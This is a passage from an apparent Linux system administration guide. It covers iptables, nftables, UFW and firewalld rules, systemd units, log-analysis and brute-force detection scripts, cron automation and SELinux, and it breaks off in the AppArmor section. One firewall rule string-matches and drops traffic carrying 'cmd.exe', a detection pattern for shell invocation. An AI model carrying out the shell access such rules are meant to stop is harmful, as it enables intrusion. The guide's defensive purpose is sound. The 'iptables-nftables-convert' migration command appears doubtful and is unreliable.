-F\niptables -t mangle -F\n\n# Delete specific rule\niptables -D INPUT 5  # Delete rule 5 in INPUT chain\n\n# Set default policies\niptables -P INPUT DROP\niptables -P FORWARD DROP\niptables -P OUTPUT ACCEPT\n```\n\n**Building a Stateful Firewall**:\n\n```bash\n#!/bin/bash\n# Basic stateful firewall script\n\n# Flush existing rules\niptables -F\niptables -X\niptables -t nat -F\niptables -t mangle -F\n\n# Set default policies\niptables -P INPUT DROP\niptables -P FORWARD DROP\niptables -P OUTPUT ACCEPT\n\n# Allow loopback\niptables -A INPUT -i lo -j ACCEPT\niptables -A OUTPUT -o lo -j ACCEPT\n\n# Allow established connections\niptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\n# SSH (rate limited)\niptables -A INPUT -p tcp --dport 2222 -m state --state NEW -m recent --set\niptables -A INPUT -p tcp --dport 2222 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP\niptables -A INPUT -p tcp --dport 2222 -j ACCEPT\n\n# Web server (if applicable)\niptables -A INPUT -p tcp --dport 80 -j ACCEPT\niptables -A INPUT -p tcp --dport 443 -j ACCEPT\n\n# DNS\niptables -A INPUT -p udp --dport 53 -j ACCEPT\niptables -A INPUT -p tcp --dport 53 -j ACCEPT\n\n# ICMP (limited)\niptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/second -j ACCEPT\n\n# Log dropped packets\niptables -A INPUT -j LOG --log-prefix \"IPTABLES-DROP: \" --log-level 4\n\n# Save rules\niptables-save &gt; /etc/iptables/rules.v4\n```\n\n**Advanced iptables Rules**:\n\n```bash\n# Connection limiting\niptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT\n\n# String matching (layer 7 filtering)\niptables -A FORWARD -p tcp --dport 80 -m string --string \"cmd.exe\" --algo bm -j DROP\n\n# Time-based rules\niptables -A INPUT -p tcp --dport 22 -m time --timestart 09:00 --timestop 17:00 --weekdays Mon,Tue,Wed,Thu,Fri -j ACCEPT\n\n# GeoIP blocking (requires xtables-addons)\niptables -A INPUT -m geoip --src-cc CN,RU -j DROP\n\n# Port knocking\niptables -N KNOCKING\niptables -A INPUT -p tcp --dport 7000 -m recent --name KNOCK1 --set -j DROP\niptables -A INPUT -p tcp --dport 8000 -m recent --name KNOCK1 --rcheck -m recent --name KNOCK2 --set -j DROP\niptables -A INPUT -p tcp --dport 9000 -m recent --name KNOCK2 --rcheck -m recent --name SSH -j DROP\niptables -A INPUT -m recent --name SSH --rcheck -p tcp --dport 22 -j ACCEPT\n```\n\n#### 6.2.2 nftables (Modern Replacement)\n\nnftables is the modern replacement for iptables, providing a unified framework with simpler syntax and better performance.\n\n**nftables Concepts**:\n\n- **Tables**: Containers for chains (like iptables tables)\n- **Chains**: Ordered lists of rules (with types: filter, nat, route)\n- **Rules**: Matching criteria and actions\n- **Sets**: Groups of elements for efficient matching\n\n**Basic nftables Configuration**:\n\n```bash\n# Install nftables\napt install nftables\n\n# Enable nftables\nsystemctl enable nftables\nsystemctl start nftables\n\n# Basic ruleset\ncat &gt; /etc/nftables.conf &lt;&lt; EOF\n#!/usr/sbin/nft -f\n\nflush ruleset\n\ntable inet filter {\n    chain input {\n        type filter hook input priority 0; policy drop;\n        \n        # Allow loopback\n        iif lo accept\n        \n        # Allow established connections\n        ct state {established, related} accept\n        \n        # SSH\n        tcp dport 2222 accept\n        \n        # ICMP (limited)\n        icmp type echo-request limit rate 1/second accept\n        \n        # Log drops\n        log prefix \"NFTABLES-DROP: \" counter drop\n    }\n    \n    chain forward {\n        type filter hook forward priority 0; policy drop;\n    }\n    \n    chain output {\n        type filter hook output priority 0; policy accept;\n    }\n}\n\ntable inet nat {\n    chain prerouting {\n        type nat hook prerouting priority 0; policy accept;\n    }\n    \n    chain postrouting {\n        type nat hook postrouting priority 100; policy accept;\n        oif eth0 masquerade\n    }\n}\nEOF\n\n# Apply rules\nnft -f /etc/nftables.conf\n```\n\n**Advanced nftables Examples**:\n\n```bash\n# Create table with families\nnft add table inet firewall\nnft add table ip raw\n\n# Add chains\nnft add chain inet firewall input { type filter hook input priority 0\\; policy drop\\; }\n\n# Add sets for efficient matching\nnft add set inet firewall whitelist { type ipv4_addr\\; elements = { 192.168.1.100, 10.0.0.5 }\\; }\nnft add set inet firewall blacklist { type ipv4_addr\\; flags timeout\\; }\n\n# Add rules using sets\nnft add rule inet firewall input ip saddr @whitelist accept\nnft add rule inet firewall input ip saddr @blacklist drop\n\n# Rate limiting\nnft add rule inet firewall input tcp dport 2222 meter ssh-meter { ip saddr limit rate 10/minute } accept\n\n# NAT with nftables\nnft add table ip nat\nnft add chain ip nat prerouting { type nat hook prerouting priority 0\\; }\nnft add chain ip nat postrouting { type nat hook postrouting priority 100\\; }\nnft add rule ip nat postrouting oif eth0 masquerade\n\n# Port forwarding\nnft add rule ip nat prerouting tcp dport 8080 redirect to 80\nnft add rule ip nat prerouting tcp dport 2222 dnat to 192.168.1.100:22\n```\n\n**Converting iptables to nftables**:\n\n```bash\n# Convert iptables rules to nftables\niptables-restore-translate -f /etc/iptables/rules.v4\n\n# Automatic migration tool\napt install iptables-nftables-compat\niptables-nftables-convert\n```\n\n#### 6.2.3 Firewall Management Tools\n\n**UFW (Uncomplicated Firewall)** - Frontend for iptables:\n\n```bash\n# Install UFW\napt install ufw\n\n# Basic configuration\nufw default deny incoming\nufw default allow outgoing\n\n# Allow specific services\nufw allow ssh\nufw allow 80/tcp\nufw allow 443/tcp\nufw allow from 192.168.1.0/24 to any port 3306\n\n# Rate limiting\nufw limit ssh\n\n# Enable logging\nufw logging on\n\n# Enable firewall\nufw enable\n\n# Check status\nufw status verbose\n\n# Advanced rules\nufw allow proto tcp from 10.0.0.0/8 to any port 22\nufw deny proto udp from any to any port 53\n\n# Application profiles\nufw app list\nufw allow 'Nginx Full'\n```\n\n**Firewalld** - Dynamic firewall manager:\n\n```bash\n# Install firewalld\napt install firewalld\n\n# Basic zones\nfirewall-cmd --get-default-zone\nfirewall-cmd --set-default-zone=public\n\n# Service management\nfirewall-cmd --zone=public --add-service=http --permanent\nfirewall-cmd --zone=public --add-service=https --permanent\nfirewall-cmd --zone=public --add-port=8080/tcp --permanent\n\n# Rich rules\nfirewall-cmd --zone=public --add-rich-rule='rule family=\"ipv4\" source address=\"192.168.1.0/24\" port port=\"22\" protocol=\"tcp\" accept' --permanent\n\n# Reload\nfirewall-cmd --reload\n\n# List all rules\nfirewall-cmd --list-all\n```\n\n### 6.3 Service Management (systemd)\n\nsystemd is the init system and service manager used by Kali Linux and most modern Linux distributions.\n\n#### 6.3.1 systemd Fundamentals\n\n**Systemd Units**:\n\n- **Service units**: `.service` - System services\n- **Socket units**: `.socket` - IPC or network sockets\n- **Target units**: `.target` - Group of units (like runlevels)\n- **Timer units**: `.timer` - Scheduled tasks (cron replacement)\n- **Mount units**: `.mount` - Filesystem mount points\n- **Path units**: `.path` - File system path monitoring\n\n**Basic systemd Commands**:\n\n```bash\n# Service management\nsystemctl start service-name\nsystemctl stop service-name\nsystemctl restart service-name\nsystemctl reload service-name\nsystemctl status service-name\n\n# Enable/disable at boot\nsystemctl enable service-name\nsystemctl disable service-name\nsystemctl mask service-name   # Prevent any activation\nsystemctl unmask service-name\n\n# List units\nsystemctl list-units\nsystemctl list-unit-files\nsystemctl list-dependencies service-name\n\n# System state\nsystemctl get-default\nsystemctl set-default multi-user.target\nsystemctl reboot\nsystemctl poweroff\nsystemctl suspend\nsystemctl hibernate\n```\n\n#### 6.3.2 Creating Custom systemd Services\n\n**Basic Service Template**:\n\n```bash\n# /etc/systemd/system/custom-service.service\ncat &gt; /etc/systemd/system/custom-service.service &lt;&lt; EOF\n[Unit]\nDescription=My Custom Service\nAfter=network.target\nWants=network.target\n\n[Service]\nType=simple\nUser=analyst\nGroup=analyst\nWorkingDirectory=/opt/custom-service\nExecStart=/usr/bin/python3 /opt/custom-service/app.py\nExecReload=/bin/kill -HUP \\$MAINPID\nRestart=on-failure\nRestartSec=10\nStandardOutput=journal\nStandardError=journal\nSyslogIdentifier=custom-service\n\n[Install]\nWantedBy=multi-user.target\nEOF\n\n# Reload systemd\nsystemctl daemon-reload\n\n# Enable and start\nsystemctl enable custom-service\nsystemctl start custom-service\n```\n\n**Service Types**:\n\n```bash\n# Simple (default) - main process is ExecStart\nType=simple\n\n# Forking - process forks, parent exits\nType=forking\nPIDFile=/run/service.pid\n\n# Oneshot - runs once and exits\nType=oneshot\nRemainAfterExit=yes\n\n# Notify - sends notification when ready\nType=notify\nNotifyAccess=all\n\n# Idle - delays execution until jobs are done\nType=idle\n```\n\n**Environment Variables and Security**:\n\n```bash\ncat &gt; /etc/systemd/system/secure-service.service &lt;&lt; EOF\n[Unit]\nDescription=Secure Service\nAfter=network.target\n\n[Service]\nType=simple\nUser=service-user\nGroup=service-group\n\n# Environment\nEnvironment=\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\nEnvironmentFile=/etc/service/config\n\n# Security hardening\nPrivateTmp=yes\nNoNewPrivileges=yes\nProtectSystem=strict\nProtectHome=yes\nProtectKernelTunables=yes\nProtectKernelModules=yes\nProtectControlGroups=yes\nReadWritePaths=/var/lib/service\nReadOnlyPaths=/\nRestrictSUIDSGID=yes\nRestrictRealtime=yes\nRestrictNamespaces=yes\nMemoryDenyWriteExecute=yes\nSystemCallFilter=~@privileged @resources\n\n# Execute\nExecStart=/usr/bin/python3 /opt/service/app.py\n\n[Install]\nWantedBy=multi-user.target\nEOF\n```\n\n#### 6.3.3 systemd Timers (Cron Replacement)\n\n**Timer Unit Example**:\n\n```bash\n# /etc/systemd/system/backup.service\ncat &gt; /etc/systemd/system/backup.service &lt;&lt; EOF\n[Unit]\nDescription=Backup Service\n\n[Service]\nType=oneshot\nExecStart=/usr/local/bin/backup-script.sh\nUser=backup-user\nEOF\n\n# /etc/systemd/system/backup.timer\ncat &gt; /etc/systemd/system/backup.timer &lt;&lt; EOF\n[Unit]\nDescription=Run backup daily\nRequires=backup.service\n\n[Timer]\nOnCalendar=daily\nPersistent=true\nRandomizedDelaySec=1800\n\n[Install]\nWantedBy=timers.target\nEOF\n\n# Enable timer\nsystemctl enable backup.timer\nsystemctl start backup.timer\nsystemctl list-timers\n```\n\n**Calendar Event Expressions**:\n\n```bash\n# Various timing options\nOnCalendar=*-*-* 00:00:00     # Daily at midnight\nOnCalendar=Mon *-*-* 09:00:00  # Mondays at 9am\nOnCalendar=*-*-01 00:00:00     # First of month\nOnCalendar=*:0/15               # Every 15 minutes\n\n# Relative timers\nOnBootSec=10min                 # 10 minutes after boot\nOnUnitActiveSec=1h               # 1 hour after last activation\n\n# Combined\nOnCalendar=Mon..Fri 09:00:00\nOnBootSec=5min\nRandomizedDelaySec=300\n```\n\n#### 6.3.4 systemd Journal\n\n**Journal Management**:\n\n```bash\n# View logs\njournalctl\njournalctl -u service-name\njournalctl -u ssh.service -f  # Follow mode\njournalctl --since \"1 hour ago\"\njournalctl --since \"2024-01-01\" --until \"2024-01-02\"\n\n# Filter by priority\njournalctl -p err -b  # Errors since boot\njournalctl -p warning\n\n# Output formats\njournalctl -o verbose\njournalctl -o json\njournalctl -o export\n\n# Maintenance\njournalctl --vacuum-size=500M  # Reduce log size\njournalctl --vacuum-time=7d     # Keep 7 days\njournalctl --rotate             # Rotate journals\n\n# Persistent logging\nmkdir -p /var/log/journal\nsystemd-tmpfiles --create --prefix /var/log/journal\n```\n\n#### 6.3.5 Advanced systemd Features\n\n**Resource Control**:\n\n```bash\n# /etc/systemd/system/resource-limited.service\n[Service]\nCPUQuota=50%\nMemoryMax=500M\nTasksMax=100\nIOWeight=10\n\n# Apply limits to existing service\nsystemctl set-property nginx.service CPUQuota=50% MemoryMax=500M\n```\n\n**Socket Activation**:\n\n```bash\n# /etc/systemd/system/echo.socket\ncat &gt; /etc/systemd/system/echo.socket &lt;&lt; EOF\n[Unit]\nDescription=Echo Socket\n\n[Socket]\nListenStream=7777\nAccept=yes\n\n[Install]\nWantedBy=sockets.target\nEOF\n\n# /etc/systemd/system/echo@.service\ncat &gt; /etc/systemd/system/echo@.service &lt;&lt; EOF\n[Unit]\nDescription=Echo Service\n\n[Service]\nExecStart=-/usr/bin/cat\nStandardInput=socket\nStandardError=journal\nEOF\n\n# Enable socket\nsystemctl enable echo.socket\nsystemctl start echo.socket\n```\n\n**Systemd Targets**:\n\n```bash\n# View targets\nsystemctl list-units --type=target\n\n# Common targets\nmulti-user.target    # Multi-user, non-graphical\ngraphical.target     # Graphical interface\nrescue.target       # Single-user rescue mode\nemergency.target    # Emergency shell\n\n# Create custom target\ncat &gt; /etc/systemd/system/custom.target &lt;&lt; EOF\n[Unit]\nDescription=My Custom Target\nRequires=multi-user.target\nAfter=multi-user.target\nAllowIsolate=yes\nEOF\n\n# Isolate to target\nsystemctl isolate custom.target\n```\n\n### 6.4 Log Analysis\n\nLog analysis is critical for security monitoring, incident response, and system troubleshooting.\n\n#### 6.4.1 Linux Logging Architecture\n\n**Log Locations**:\n\n```bash\n/var/log/syslog          # General system log\n/var/log/auth.log        # Authentication log\n/var/log/kern.log        # Kernel log\n/var/log/dpkg.log        # Package management\n/var/log/apt/           # APT logs\n/var/log/nginx/         # Web server logs\n/var/log/mysql/         # Database logs\n/var/log/postgresql/    # PostgreSQL logs\n/var/log/mail.log       # Mail server logs\n/var/log/cron.log       # Cron job logs\n/var/log/daemon.log     # Daemon logs\n/var/log/debug          # Debug messages\n/var/log/messages       # Informational messages\n```\n\n**rsyslog Configuration**:\n\n```bash\n# /etc/rsyslog.conf\ncat /etc/rsyslog.conf\n\n# Template for custom log format\ncat &gt; /etc/rsyslog.d/custom.conf &lt;&lt; EOF\n\\$template CustomFormat,\"%timestamp% %hostname% %syslogtag% %msg%\\n\"\n*.* /var/log/custom.log;CustomFormat\n\n# Remote logging\n*.* @logserver.example.com:514\n*.* @@logserver.example.com:10514  # TCP\n\n# Filtering\nif \\$programname == 'sshd' then /var/log/sshd.log\n&amp; ~  # Stop processing\nEOF\n\nsystemctl restart rsyslog\n```\n\n#### 6.4.2 Log Analysis Tools\n\n**Command-line Log Analysis**:\n\n```bash\n# Basic log viewing\ntail -f /var/log/auth.log\nless /var/log/syslog\ngrep \"Failed password\" /var/log/auth.log\n\n# Extract specific fields\ncat /var/log/auth.log | awk '/Failed password/ {print $1,$2,$3,$9,$11}'\n\n# Count occurrences\ngrep -c \"Failed password\" /var/log/auth.log\ngrep \"Failed password\" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn\n\n# Time-based analysis\ngrep \"$(date +%b\\ %d)\" /var/log/auth.log  # Today's logs\ngrep \"$(date +%b\\ %d --date='yesterday')\" /var/log/auth.log\n\n# Correlation\ngrep \"Accepted publickey\" /var/log/auth.log | awk '{print $9}' | sort | uniq -c\n```\n\n**Logwatch - Automated Log Analysis**:\n\n```bash\n# Install logwatch\napt install logwatch\n\n# Configure\ncat &gt; /etc/logwatch/conf/logwatch.conf &lt;&lt; EOF\nOutput = mail\nMailTo = admin@example.com\nMailFrom = logwatch@localhost\nDetail = High\nService = All\nRange = yesterday\nFormat = html\nEOF\n\n# Run manually\nlogwatch --detail High --range today --service sshd --output stdout\n\n# Schedule daily report\necho \"0 6 * * * /usr/sbin/logwatch\" &gt;&gt; /etc/crontab\n```\n\n**lnav - Interactive Log Viewer**:\n\n```bash\n# Install lnav\napt install lnav\n\n# View multiple logs\nlnav /var/log/syslog /var/log/auth.log\n\n# lnav commands\n# / - search\n# n/N - next/previous search result\n# : - enter command\n# q - quit\n\n# lnav filters\nlnav -c \":filter add 'Failed password'\" /var/log/auth.log\nlnav -c \":filter out 'Accepted'\" /var/log/auth.log\n```\n\n#### 6.4.3 Advanced Log Analysis\n\n**Log Analysis with Python**:\n\n```python\n#!/usr/bin/env python3\n# ssh_log_analyzer.py\n\nimport re\nfrom collections import Counter\nfrom datetime import datetime\n\ndef analyze_ssh_log(logfile):\n    failed_attempts = []\n    successful_logins = []\n    ip_pattern = r'(\\d+\\.\\d+\\.\\d+\\.\\d+)'\n    \n    with open(logfile, 'r') as f:\n        for line in f:\n            # Failed password attempts\n            if 'Failed password' in line:\n                ip = re.search(ip_pattern, line)\n                if ip:\n                    failed_attempts.append(ip.group(1))\n            \n            # Successful logins\n            elif 'Accepted' in line:\n                user = re.search(r'for (\\w+)', line)\n                ip = re.search(ip_pattern, line)\n                if user and ip:\n                    successful_logins.append({\n                        'user': user.group(1),\n                        'ip': ip.group(1),\n                        'time': ' '.join(line.split()[:3])\n                    })\n    \n    return failed_attempts, successful_logins\n\nfailed, success = analyze_ssh_log('/var/log/auth.log')\n\nprint(f\"Total failed attempts: {len(failed)}\")\nprint(\"\\nTop attacking IPs:\")\nfor ip, count in Counter(failed).most_common(10):\n    print(f\"  {ip}: {count} attempts\")\n\nprint(f\"\\nSuccessful logins: {len(success)}\")\nfor login in success[-10:]:  # Last 10\n    print(f\"  {login['time']} - {login['user']} from {login['ip']}\")\n```\n\n**Log Anomaly Detection**:\n\n```python\n#!/usr/bin/env python3\n# anomaly_detector.py\n\nimport re\nfrom collections import defaultdict, deque\nfrom datetime import datetime, timedelta\nimport sys\n\nclass LogAnomalyDetector:\n    def __init__(self, window_minutes=5, threshold=50):\n        self.window = deque()\n        self.window_size = window_minutes * 60\n        self.threshold = threshold\n        self.ip_counts = defaultdict(int)\n        \n    def process_line(self, line, timestamp):\n        # Remove old entries\n        while self.window and self.window[0][0] &lt; timestamp - self.window_size:\n            old_time, old_ip = self.window.popleft()\n            self.ip_counts[old_ip] -= 1\n        \n        # Extract IP\n        ip_match = re.search(r'(\\d+\\.\\d+\\.\\d+\\.\\d+)', line)\n        if not ip_match:\n            return None\n            \n        ip = ip_match.group(1)\n        \n        # Add to window\n        self.window.append((timestamp, ip))\n        self.ip_counts[ip] += 1\n        \n        # Check for anomaly\n        if self.ip_counts[ip] &gt; self.threshold:\n            rate = self.ip_counts[ip] / (self.window_size / 60)\n            return {\n                'ip': ip,\n                'count': self.ip_counts[ip],\n                'rate': f\"{rate:.1f} per minute\",\n                'window': f\"{self.window_size/60} minutes\"\n            }\n        return None\n\ndef parse_timestamp(log_line):\n    # Parse syslog timestamp (e.g., \"Jan 15 10:30:45\")\n    try:\n        parts = log_line.split()\n        time_str = ' '.join(parts[:3])\n        current_year = datetime.now().year\n        dt = datetime.strptime(f\"{current_year} {time_str}\", \"%Y %b %d %H:%M:%S\")\n        return dt.timestamp()\n    except:\n        return datetime.now().timestamp()\n\ndetector = LogAnomalyDetector(window_minutes=5, threshold=30)\n\nwith open('/var/log/auth.log', 'r') as f:\n    for line in f:\n        if 'Failed password' in line:\n            timestamp = parse_timestamp(line)\n            alert = detector.process_line(line, timestamp)\n            if alert:\n                print(f\"\\n[ALERT] Potential brute force detected!\")\n                print(f\"IP: {alert['ip']}\")\n                print(f\"Attempts: {alert['count']}\")\n                print(f\"Rate: {alert['rate']}\")\n                print(f\"Window: {alert['window']}\")\n                print(\"-\" * 50)\n```\n\n**ELK Stack for Centralized Logging**:\n\n```bash\n# Install Elasticsearch, Logstash, Kibana\nwget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | apt-key add -\necho \"deb https://artifacts.elastic.co/packages/7.x/apt stable main\" | tee /etc/apt/sources.list.d/elastic-7.x.list\napt update\napt install elasticsearch logstash kibana\n\n# Configure Logstash\ncat &gt; /etc/logstash/conf.d/kali-logs.conf &lt;&lt; EOF\ninput {\n  file {\n    path =&gt; [\"/var/log/auth.log\", \"/var/log/syslog\"]\n    type =&gt; \"system\"\n    start_position =&gt; \"beginning\"\n  }\n}\n\nfilter {\n  if [type] == \"system\" {\n    grok {\n      match =&gt; { \"message\" =&gt; \"%{SYSLOGBASE} %{GREEDYDATA:message}\" }\n    }\n    date {\n      match =&gt; [ \"timestamp\", \"MMM  d HH:mm:ss\", \"MMM dd HH:mm:ss\" ]\n    }\n  }\n  \n  if \"Failed password\" in [message] {\n    mutate { add_tag =&gt; \"failed_auth\" }\n    grok {\n      match =&gt; { \"message\" =&gt; \"Failed password for %{WORD:user} from %{IP:src_ip}\" }\n    }\n  }\n}\n\noutput {\n  elasticsearch {\n    hosts =&gt; [\"localhost:9200\"]\n    index =&gt; \"kali-logs-%{+YYYY.MM.dd}\"\n  }\n  stdout { codec =&gt; rubydebug }\n}\nEOF\n\n# Start services\nsystemctl enable elasticsearch logstash kibana\nsystemctl start elasticsearch logstash kibana\n```\n\n### 6.5 Cron Jobs &amp; Automation\n\nCron is the traditional job scheduler in Unix-like systems, essential for automating repetitive tasks.\n\n#### 6.5.1 Cron Fundamentals\n\n**Crontab Syntax**:\n\n```bash\n# Minute Hour Day Month Weekday Command\n  *     *    *    *      *       /path/to/command\n\n# Examples:\n0 5 * * * /usr/local/bin/backup.sh        # Daily at 5am\n*/15 * * * * /usr/bin/logger \"15 min\"      # Every 15 minutes\n0 9-17 * * 1-5 /bin/check_service.sh       # Every hour 9am-5pm weekdays\n0 0 1 * * /usr/bin/monthly-report          # First day of month at midnight\n```\n\n**Cron Configuration Files**:\n\n```bash\n# System crontab\n/etc/crontab\n\n# User crontabs\n/var/spool/cron/crontabs/\n\n# Cron directories\n/etc/cron.d/           # Additional cron files\n/etc/cron.daily/       # Daily scripts\n/etc/cron.hourly/      # Hourly scripts\n/etc/cron.weekly/      # Weekly scripts\n/etc/cron.monthly/     # Monthly scripts\n```\n\n**Managing User Crontabs**:\n\n```bash\n# Edit current user's crontab\ncrontab -e\n\n# List current user's crontab\ncrontab -l\n\n# Remove current user's crontab\ncrontab -r\n\n# Edit specific user's crontab\ncrontab -u analyst -e\n\n# Import from file\ncrontab -l &gt; backup_crontab.txt\ncrontab backup_crontab.txt\n```\n\n#### 6.5.2 Practical Cron Examples\n\n**Security Automation**:\n\n```bash\n# Security monitoring crontab\ncat &gt; /tmp/security-cron &lt;&lt; EOF\n# Security automation tasks\n\n# Check for failed SSH attempts every hour\n0 * * * * /usr/local/bin/check-failed-ssh.sh\n\n# Update intrusion detection rules daily\n30 2 * * * /usr/local/bin/update-suricata-rules.sh\n\n# Run vulnerability scan weekly on Sunday at 3am\n0 3 * * 0 /usr/local/bin/nessus-scan.sh internal-network\n\n# Check file integrity daily\n45 1 * * * /usr/bin/aide --check | mail -s \"AIDE Report\" security@example.com\n\n# Rotate and archive logs weekly\n0 4 * * 0 /usr/local/bin/archive-logs.sh\n\n# Check for system updates and email report\n0 5 * * * apt update &amp;&amp; apt list --upgradable | mail -s \"Available Updates\" admin@example.com\n\n# Monitor disk space and alert if low\n*/30 * * * * /usr/local/bin/check-disk.sh /dev/sda1 90\nEOF\n\ncrontab /tmp/security-cron\n```\n\n**Backup Automation Script**:\n\n```bash\n#!/bin/bash\n# /usr/local/bin/backup.sh\n\nBACKUP_DIR=\"/backup/$(date +%Y%m%d)\"\nLOG_FILE=\"/var/log/backup.log\"\n\nlog() {\n    echo \"[$(date '+%Y-%m-%d %H:%M:%S')] $1\" &gt;&gt; $LOG_FILE\n}\n\ncleanup_old_backups() {\n    # Keep 30 days of backups\n    find /backup -type d -mtime +30 -exec rm -rf {} \\; 2&gt;/dev/null\n}\n\nperform_backup() {\n    local source=$1\n    local dest=\"$BACKUP_DIR/$(basename $source)\"\n    \n    log \"Starting backup of $source\"\n    \n    # Create backup directory\n    mkdir -p \"$dest\"\n    \n    # Perform rsync backup\n    rsync -av --delete \"$source\" \"$dest\" &gt;&gt; $LOG_FILE 2&gt;&amp;1\n    \n    if [ $? -eq 0 ]; then\n        log \"Backup of $source completed successfully\"\n        \n        # Create compressed archive\n        tar -czf \"$dest.tar.gz\" -C \"$BACKUP_DIR\" \"$(basename $source)\" &amp;&amp; \\\n        rm -rf \"$dest\"\n        log \"Created compressed archive: $dest.tar.gz\"\n    else\n        log \"ERROR: Backup of $source failed\"\n        return 1\n    fi\n}\n\n# Main execution\nlog \"=== Starting backup process ===\"\n\n# Create backup directory\nmkdir -p \"$BACKUP_DIR\"\n\n# Backup important directories\nperform_backup \"/etc\"\nperform_backup \"/home\"\nperform_backup \"/var/www\"\nperform_backup \"/usr/local/bin\"\n\n# Backup database (if applicable)\nif command -v mysqldump &gt;/dev/null; then\n    mysqldump --all-databases &gt; \"$BACKUP_DIR/all-databases.sql\"\n    log \"Database backup completed\"\nfi\n\n# Cleanup old backups\ncleanup_old_backups\n\nlog \"=== Backup process completed ===\"\necho \"Backup completed: $BACKUP_DIR\"\n```\n\n**System Monitoring Cron Script**:\n\n```bash\n#!/bin/bash\n# /usr/local/bin/system-monitor.sh\n\nsend_alert() {\n    local subject=\"$1\"\n    local message=\"$2\"\n    echo \"$message\" | mail -s \"$subject\" admin@example.com\n}\n\ncheck_cpu() {\n    local threshold=80\n    local load=$(uptime | awk '{print $10}' | sed 's/,//')\n    local cpu_usage=$(top -bn1 | grep \"Cpu(s)\" | awk '{print $2}' | cut -d'%' -f1)\n    \n    if (( $(echo \"$cpu_usage &gt; $threshold\" | bc -l) )); then\n        send_alert \"High CPU Usage\" \"CPU usage is ${cpu_usage}% (threshold: ${threshold}%)\"\n    fi\n}\n\ncheck_memory() {\n    local threshold=90\n    local mem_used=$(free | grep Mem | awk '{print ($3/$2) * 100.0}')\n    \n    if (( $(echo \"$mem_used &gt; $threshold\" | bc -l) )); then\n        send_alert \"High Memory Usage\" \"Memory usage is ${mem_used}% (threshold: ${threshold}%)\"\n    fi\n}\n\ncheck_disk() {\n    local threshold=85\n    df -h | grep -vE '^Filesystem|tmpfs|cdrom' | awk '{ print $5 \" \" $1 \" \" $6 }' | while read output;\n    do\n        usage=$(echo $output | awk '{print $1}' | cut -d'%' -f1)\n        partition=$(echo $output | awk '{print $3}')\n        if [ $usage -ge $threshold ]; then\n            send_alert \"Low Disk Space\" \"Partition $partition is at ${usage}% capacity\"\n        fi\n    done\n}\n\ncheck_processes() {\n    local critical_processes=(\"sshd\" \"nginx\" \"mysql\" \"cron\")\n    \n    for proc in \"${critical_processes[@]}\"; do\n        if ! pgrep -x \"$proc\" &gt; /dev/null; then\n            send_alert \"Process Down\" \"Critical process $proc is not running\"\n            # Attempt restart\n            systemctl restart \"$proc\" 2&gt;/dev/null\n        fi\n    done\n}\n\ncheck_failed_logins() {\n    local threshold=50\n    local failed=$(grep \"Failed password\" /var/log/auth.log | wc -l)\n    \n    if [ $failed -gt $threshold ]; then\n        send_alert \"Excessive Failed Logins\" \"$failed failed login attempts detected\"\n    fi\n}\n\n# Run all checks\ncheck_cpu\ncheck_memory\ncheck_disk\ncheck_processes\ncheck_failed_logins\n```\n\n#### 6.5.3 Systemd Timers vs Cron\n\n**Advantages of systemd timers**:\n\n- Integrated with systemd (logging, dependencies)\n- More flexible timing options\n- Can be triggered by events (boot, socket activation)\n- Resource control and security isolation\n- Better error handling and logging\n\n**When to use cron**:\n\n- Simpler, well-understood syntax\n- Portable across Unix-like systems\n- Email output by default\n- System-wide and per-user crontabs\n\n**Cron-style syntax in systemd**:\n\n```bash\n# /etc/systemd/system/cron-style.timer\n[Unit]\nDescription=Run script at 2am daily\n\n[Timer]\nOnCalendar=*-*-* 02:00:00\nPersistent=true\n\n[Install]\nWantedBy=timers.target\n```\n\n### 6.6 SELinux &amp; AppArmor\n\nMandatory Access Control (MAC) systems provide an additional layer of security beyond traditional Unix permissions.\n\n#### 6.6.1 SELinux (Security-Enhanced Linux)\n\nSELinux is a MAC system developed by the NSA, providing fine-grained access control.\n\n**SELinux Modes**:\n\n```bash\n# Check current mode\ngetenforce\n# Enforcing | Permissive | Disabled\n\n# Set mode temporarily\nsetenforce 0  # Permissive\nsetenforce 1  # Enforcing\n\n# Permanent configuration\ncat /etc/selinux/config\n# SELINUX=enforcing|permissive|disabled\n# SELINUXTYPE=targeted|minimum|mls\n```\n\n**SELinux Contexts**:\n\n```bash\n# View file context\nls -Z /etc/passwd\n# system_u:object_r:etc_t:s0  /etc/passwd\n\n# View process context\nps -Z\n# unconfined_u:unconfined_r:unconfined_t:s0 1234 bash\n\n# Change file context\nchcon -t httpd_sys_content_t /var/www/html/index.html\nrestorecon -v /var/www/html/index.html  # Restore default\n\n# Set default context\nsemanage fcontext -a -t httpd_sys_content_t \"/web(/.*)?\"\nrestorecon -Rv /web\n```\n\n**SELinux Booleans**:\n\n```bash\n# List booleans\ngetsebool -a\nsemanage boolean -l\n\n# Set boolean\nsetsebool httpd_can_network_connect on\nsetsebool -P httpd_can_network_connect on  # Permanent\n\n# Common booleans\nhttpd_can_network_connect     # Allow Apache network connections\nhttpd_enable_homedirs         # Allow Apache to access home directories\nftp_home_dir                  # Allow FTP to home directories\n```\n\n**SELinux Troubleshooting**:\n\n```bash\n# Check audit logs for denials\ngrep \"avc: denied\" /var/log/audit/audit.log\n\n# Generate policy from denials\naudit2allow -a  # Show allow rules\naudit2allow -a -M mypolicy  # Generate policy module\nsemodule -i mypolicy.pp     # Install module\n\n# Search for denials by service\nausearch -m avc -c httpd\nsealert -a /var/log/audit/audit.log  # Human-readable messages\n```\n\n**Creating SELinux Policy**:\n\n```bash\n# Create policy for custom application\ncat &gt; myapp.te &lt;&lt; EOF\nmodule myapp 1.0;\n\nrequire {\n    type httpd_t;\n    type httpd_sys_content_t;\n    class file { read write };\n}\n\nallow httpd_t httpd_sys_content_t:file { read write };\nEOF\n\n# Compile and install\ncheckmodule -M -m -o myapp.mod myapp.te\nsemodule_package -o myapp.pp -m myapp.mod\nsemodule -i myapp.pp\n```\n\n#### 6.6.2 AppArmor\n\nAppArmor is an easier-to-use MAC system, default on Kali and Debian/Ubuntu.\n\n**AppArmor Concepts**:\n\n- **Profiles**: Define what resources applications can access\n- **Modes**: Enforce (enforcing), Complain (log only), Disabled\n- **Hat**: 